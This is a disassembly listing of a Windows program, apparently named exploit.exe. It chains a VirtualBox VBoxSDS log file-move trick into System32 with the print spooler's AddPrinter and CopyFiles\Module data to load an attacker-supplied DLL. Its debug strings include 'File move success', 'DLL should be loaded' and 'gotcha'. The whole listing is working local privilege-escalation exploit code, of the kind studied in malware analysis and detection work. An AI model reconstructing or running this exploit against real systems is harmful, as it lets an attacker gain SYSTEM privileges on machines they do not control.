Function at 0x140001f00
Capabilities:
Create directory
Create thread
Delete directory

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x228]
sub rsp, 0x328
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rdi, rdx
cmp ecx, 2
jge 0x140001f41
lea rcx, str..exploit.exe__dll_
call fcn.140001380
mov eax, 0xffffffff
jmp 0x1400023a4
lea rcx, str.ntdll.dll
mov qword [rsp + 0x340], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x140001fa3
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rbx
mov qword [0x140023de0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x140023dc8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023dd0], rax
cmp qword [0x140023de0], 0
je 0x1400023bd
cmp qword [0x140023dc8], 0
je 0x1400023bd
mov qword [rsp + 0x318], r14
call fcn.1400018e0
xor edx, edx
lea rcx, str.C:explt_bait
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, qword [rdi + 8]
call fcn.140001bf0
xor edi, edi
lea r8, [0x140001860]
mov qword [rsp + 0x28], rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
lea r9d, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rax
nop word [rax + rax]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x40000000
lea rcx, str.C:ProgramDataVirtualBoxVBoxSDS.log.9
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140023dc0], rax
cmp rax, 0xffffffffffffffff
je 0x140002010
nop dword [rax + rax]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x40000000
lea rcx, str.C:explt_baitVBoxSDS.log.9
mov edx, 0x10000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140023db0], rax
cmp rax, 0xffffffffffffffff
je 0x140002050
mov rcx, qword [0x140023dc0]
lea rdx, [0x140002570]
call section..text
mov qword [0x140023de8], rax
test rax, rax
je 0x1400020b9
mov rcx, qword [rax + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140023db0]
lea rdx, [0x140002640]
call section..text
mov qword [0x140023db8], rax
test rax, rax
je 0x1400020e7
mov rcx, qword [rax + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.140001730
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
lea rcx, str.C:WindowsSystem32VBoxSDS.log.10
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140023db0], rax
test eax, eax
je 0x140002370
lea rcx, str.___File_move_success__n
mov qword [rsp + 0x350], rsi
call fcn.140001380
mov rcx, qword [0x140023db0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rsp + 0x40]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 1]
mov dword [rsp + 0x20], edi
call qword [sym.imp.WINSPOOL.DRV_EnumPrinterDriversW]
mov ecx, dword [rsp + 0x40]
call fcn.140008750
mov ecx, dword [rsp + 0x40]
mov rsi, rax
lea rax, [rbp - 0x20]
xor edx, edx
mov qword [rsp + 0x30], rax
mov r9, rsi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea r8d, [rdx + 1]
xor ecx, ecx
call qword [sym.imp.WINSPOOL.DRV_EnumPrinterDriversW]
test eax, eax
jne 0x1400021c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x14001e920]
call fcn.140001380
jmp 0x140002368
cmp dword [rbp - 0x20], edi
jbe 0x140002368
mov qword [rsp + 0x358], r12
lea r12, [0x14001e9c0]
mov qword [rsp + 0x320], r13
lea r13, str.winprint
mov qword [rsp + 0x310], r15
lea r15, str.PORTPROMPT:
nop dword [rax]
mov rdx, qword [rsi]
lea rcx, str.___Trying_printer_driver:__ls_n
call fcn.140001380
movaps xmm0, xmmword [str.C:WindowsSystem32VBoxSDS.log.10]
lea rcx, [rbp + 0x46]
movaps xmm1, xmmword [0x14001e970]
xor edx, edx
mov eax, dword [0x14001e9a0]
mov r8d, 0x1ba
mov rbx, qword [rsi]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x14001e980]
movaps xmmword [rbp + 0x10], xmm1
movaps xmm1, xmmword [0x14001e990]
mov dword [rbp + 0x40], eax
movzx eax, word [0x14001e9a4]
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm1
mov word [rbp + 0x44], ax
call fcn.140003a90
xorps xmm0, xmm0
lea rcx, [rbp - 0x18]
movups xmmword [rbp - 0x18], xmm0
call qword [sym.imp.RPCRT4.dll_UuidCreate]
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x18]
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
xorps xmm0, xmm0
lea r8, [rsp + 0x50]
xor eax, eax
mov edx, 2
mov qword [rbp - 0x30], rax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], r15
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x70], rbx
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x68], r13
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x60], r12
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.WINSPOOL.DRV_AddPrinterW]
mov rbx, rax
test rax, rax
jne 0x14000230a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error__AddPrinter_:_0x_x_n
call fcn.140001380
add rsi, 8
inc edi
cmp edi, dword [rbp - 0x20]
jb 0x140002200
jmp 0x140002350
lea rcx, str.___Printer_added__n
call fcn.140001380
lea rax, [rbp]
mov dword [rsp + 0x28], 0x200
mov r9d, 1
mov qword [rsp + 0x20], rax
lea r8, str.Module
mov rcx, rbx
lea rdx, str.CopyFiles_
call qword [sym.imp.WINSPOOL.DRV_SetPrinterDataExW]
lea rcx, str.___DLL_should_be_loaded__n
call fcn.140001380
mov r13, qword [rsp + 0x320]
mov r12, qword [rsp + 0x358]
mov r15, qword [rsp + 0x310]
mov rsi, qword [rsp + 0x350]
lea rcx, str.gotcha_n
call fcn.140001380
lea rcx, str.C:explt_bait
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x318]
xor eax, eax
mov rbx, qword [rsp + 0x340]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140002790
add rsp, 0x328
pop rdi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.140001380
xor ecx, ecx
call fcn.140004df4
int3